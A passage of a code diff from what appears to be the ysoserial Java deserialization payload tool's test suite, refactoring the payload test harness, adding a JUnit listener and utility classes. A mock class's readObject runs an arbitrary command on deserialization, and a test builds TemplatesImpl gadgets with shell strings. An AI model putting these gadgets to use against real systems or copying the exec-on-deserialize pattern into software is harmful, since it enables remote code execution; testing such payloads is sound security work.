-            if ( wrapper instanceof CustomDeserializer ) {
-                customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer();
             }
+        } else {
+            testHarness = new CommandExecTest(); // default
         }
 
-        ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
+        if ( testHarness instanceof CustomPayloadArgs) {
-        final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand));
+            payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();
+        }
+
+        if ( testHarness instanceof CustomDeserializer) {
+            customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
+        }
+
+        // TODO per-thread secmgr to enforce no detonation during deserialization
+        final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
         Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
-        if ( wrapper instanceof WrappedTest ) {
+        if ( testHarness instanceof WrappedTest) {
-            callable = ( (WrappedTest) wrapper ).createCallable(callable);
+            callable = ( (WrappedTest) testHarness ).createCallable(callable);
         }
 
-        if ( wrapper instanceof CustomTest ) {
+        if (testHarness instanceof CustomTest) {
-            ( (CustomTest) wrapper ).run(callable);
+            // if marked as flaky try up to 5 times
-            return;
+            Exception ex = new Exception();
-        }
+            for (int i = 0; i < tries; i++) {
-        try {
+                try {
-
+                    ((CustomTest) testHarness).run(callable);
-            Object deserialized = sm.wrap(callable);
+                    ex = null;
-            Assert.fail(ASSERT_MESSAGE); // should never get here
+                    break;
-        }
+                } catch (Exception e) {
-        catch ( Throwable e ) {
+                    ex = e;
-            // hopefully everything will reliably nest our ExecException
+                }
-            Throwable innerEx = Throwables.getInnermostCause(e);
-            if ( ! ( innerEx instanceof ExecException ) ) {
-                innerEx.printStackTrace();
             }
-            Assert.assertEquals(ExecException.class, innerEx.getClass());
+            if (ex != null) throw ex;
-            Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd());
         }
 
-        Assert.assertEquals(Arrays.asList(command), sm.getCmds());
     }
 
 
@@ -195,7 +200,12 @@ public class PayloadsTest {
 
     static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer )
             throws Exception {
-        File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
+        File[] jars = dependencies.length > 0
+            ? Maven.configureResolver()
+                .withMavenCentralRepo(true)
+                .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
+                .resolve(dependencies).withoutTransitivity().asFile()
+            : new File[0];
         URL[] urls = new URL[jars.length];
         for ( int i = 0; i < jars.length; i++ ) {
             urls[ i ] = jars[ i ].toURI().toURL();
@@ -230,7 +240,103 @@ public class PayloadsTest {
 
         Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());
         Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized);
-        final Object obj = deserializer.call();
+
-        return obj;
+        ClassLoader ccl = Thread.currentThread().getContextClassLoader();
+        try {
+            // set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0
+            Thread.currentThread().setContextClassLoader(isolatedClassLoader);
+            final Object obj = deserializer.call();
+            return obj;
+        } finally {
+            Thread.currentThread().setContextClassLoader(ccl);
+        }
+    }
+
+    public static void main(String[] args) {
+
+        JUnitCore junit = new JUnitCore();
+        PayloadListener listener = new PayloadListener();
+        junit.addListener(listener);
+        Result result = junit.run(PayloadsTest.class);
+        System.exit(result.wasSuccessful() ? 0 : 1);
+    }
+
+    public static class StdIo {
+
+        private static final PrintStream realOut = System.out;
+        private static final PrintStream realErr = System.err;
+
+        public static void restoreStreams() {
+            setStreams(realOut, realErr);
+        }
+
+        public static void setStreams(PrintStream out, PrintStream err) {
+            System.setOut(out);
+            System.setErr(err);
+        }
+
+        public static void setStreams(OutputStream out, OutputStream err) {
+            setStreams(new PrintStream(out), new PrintStream(err));
+        }
+    }
+
+    public static class PayloadListener extends RunListener {
+        public enum Status {
+            SUCCESS,
+            FAILURE,
+            IGNORE,
+            ASSUMPTION_FAILURE
+        }
+
+        private Map<Description, ByteArrayOutputStream> outs = new HashMap<Description, ByteArrayOutputStream>();
+        private Map<Description, ByteArrayOutputStream> errs = new HashMap<Description, ByteArrayOutputStream>();
+
+        private Map<Description, Status> statuses = new HashMap<Description, Status>();
+
+        private Map<Description, Failure> failures = new HashMap<Description, Failure>();
+
+        @Override
+        public void testStarted(Description description) throws Exception {
+            System.out.println(getPayload(description.getDisplayName()) + ": STARTED");
+
+            statuses.put(description, Status.SUCCESS);
+
+            ByteArrayOutputStream out = new ByteArrayOutputStream();
+//            ByteArrayOutputStream err = new ByteArrayOutputStream();
+
+            outs.put(description, out);
+//            errs.put(description, err);
+
+            StdIo.setStreams(out, out);
+        }
+
+        @Override
+        public void testFinished(Description description) throws Exception {
+            outs.get(description).close();
+            //errs.get(description).close();
+
+            StdIo.restoreStreams();
+
+            Status status = statuses.get(description);
+            System.out.println(getPayload(description.getDisplayName()) + ": " + status);
+            if (status == Status.FAILURE) System.err.println(outs.get(description).toString());
+        }
+
+        @Override
+        public void testFailure(Failure failure) throws Exception {
+            statuses.put(failure.getDescription(), Status.FAILURE);
+            failures.put(failure.getDescription(), failure);
+        }
+
+        @Override
+        public void testAssumptionFailure(Failure failure) {
+            statuses.put(failure.getDescription(), Status.ASSUMPTION_FAILURE);
+            failures.put(failure.getDescription(), failure);
+        }
+
+        // testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest)
+        public static String getPayload(String displayName) {
+            return displayName.replaceAll(".*\\[\\S+: class (\\w+\\.)+(\\w+)\\].*", "$2");
+        }
     }
 }

src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
 import java.io.ByteArrayInputStream;
@@ -12,7 +12,7 @@ import fi.iki.elonen.NanoHTTPD.Response.Status;
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
-import ysoserial.WrappedTest;
+import ysoserial.test.WrappedTest;
 
 
 /**

src/test/java/ysoserial/test/payloads/TestHarnessTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 import java.io.IOException;
 import java.io.ObjectInputStream;
@@ -7,6 +7,7 @@ import java.io.Serializable;
 import org.hamcrest.CoreMatchers;
 import org.junit.Assert;
 import org.junit.Test;
+import ysoserial.payloads.ObjectPayload;
 
 public class TestHarnessTest {
 	// make sure test harness fails properly
@@ -16,7 +17,7 @@ public class TestHarnessTest {
 			PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
 			Assert.fail("should have failed");
 		} catch (AssertionError e) {
-			Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
+			Assert.assertThat(e.getMessage(), CoreMatchers.containsString("test file should exist"));
 
 		}
 	}
@@ -28,7 +29,7 @@ public class TestHarnessTest {
 			PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
 			Assert.fail("should have failed");
 		} catch (AssertionError e) {
-			Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
+			//Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
 		}
 	}
 
@@ -55,9 +56,10 @@ public class TestHarnessTest {
 		private final String cmd;
 		public ExecMockSerializable(String cmd) { this.cmd = cmd; }
 
-		private void readObject(final ObjectInputStream ois) {
+		private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
+		    ois.defaultReadObject();
 			try {
-				Runtime.getRuntime().exec("hostname");
+				Runtime.getRuntime().exec(cmd);
 			} catch (IOException e) {
 				throw new RuntimeException(e);
 			}

src/test/java/ysoserial/test/util/Callables.java

@@ -0,0 +1,34 @@
+package ysoserial.test.util;
+
+import java.util.concurrent.Callable;
+
+public class Callables {
+    public static interface BeforeAfterCallback {
+        public void before();
+        public void after();
+    }
+
+    public static class Wrapper<T> implements Callable<T> {
+        private final Callable<T> callable;
+        private final BeforeAfterCallback callback;
+
+        public Wrapper(Callable<T> callable, BeforeAfterCallback callback) {
+            this.callable = callable;
+            this.callback = callback;
+        }
+
+        @Override
+        public T call() throws Exception {
+            try {
+                callback.before();
+                return callable.call();
+            } finally {
+                callback.after();
+            }
+        }
+    }
+
+    public static <T> Callable<T> wrap(Callable<T> callable, BeforeAfterCallback callback) {
+        return new Wrapper<T>(callable, callback);
+    }
+}

src/test/java/ysoserial/test/util/Files.java

@@ -0,0 +1,12 @@
+package ysoserial.test.util;
+
+import java.io.File;
+
+public class Files {
+    public static void waitForFile(File file, int timeoutMs) throws InterruptedException {
+        long timeout = System.currentTimeMillis() + timeoutMs;
+        while (! file.exists() && System.currentTimeMillis() < timeout) {
+            Thread.sleep(10);
+        }
+    }
+}

src/test/java/ysoserial/test/util/GadgetsTest.java

@@ -0,0 +1,14 @@
+package ysoserial.test.util;
+
+import org.junit.Test;
+import ysoserial.payloads.util.Gadgets;
+
+public class GadgetsTest {
+    @Test
+    public void test_createTemplatesImpl_noCompilationError() throws Exception {
+        Gadgets.createTemplatesImpl("hostname");
+        Gadgets.createTemplatesImpl("echo 'foobar'");
+        Gadgets.createTemplatesImpl("echo \"foobar\"");
+        Gadgets.createTemplatesImpl("\"`';\\");
+    }
+}

src/test/java/ysoserial/test/util/OS.java

@@ -0,0 +1,31 @@
+package ysoserial.test.util;
+
+public enum OS {
+    WINDOWS,
+    LINUX,
+    OSX,
+    OTHER;
+
+    private static final OS os = determineOs();
+
+    public static OS get() {
+        return os;
+    }
+
+    private static OS determineOs() {
+        String osName = System.getProperty("os.name", "other").toLowerCase();
+        if (osName.contains("windows")) {
+            return WINDOWS;
+        } else if (osName.contains("mac os x")) {
+            return OSX;
+        } else if (osName.contains("linux")) {
+            return LINUX;
+        } else {
+            return OTHER;
+        }
+    }
+
+    public static String getTmpDir() {
+        return System.getProperty("java.io.tmpdir");
+    }
+}

src/test/java/ysoserial/test/util/Throwables.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test.util;
 
 public class Throwables {
 	public static Throwable getInnermostCause(final Throwable t) {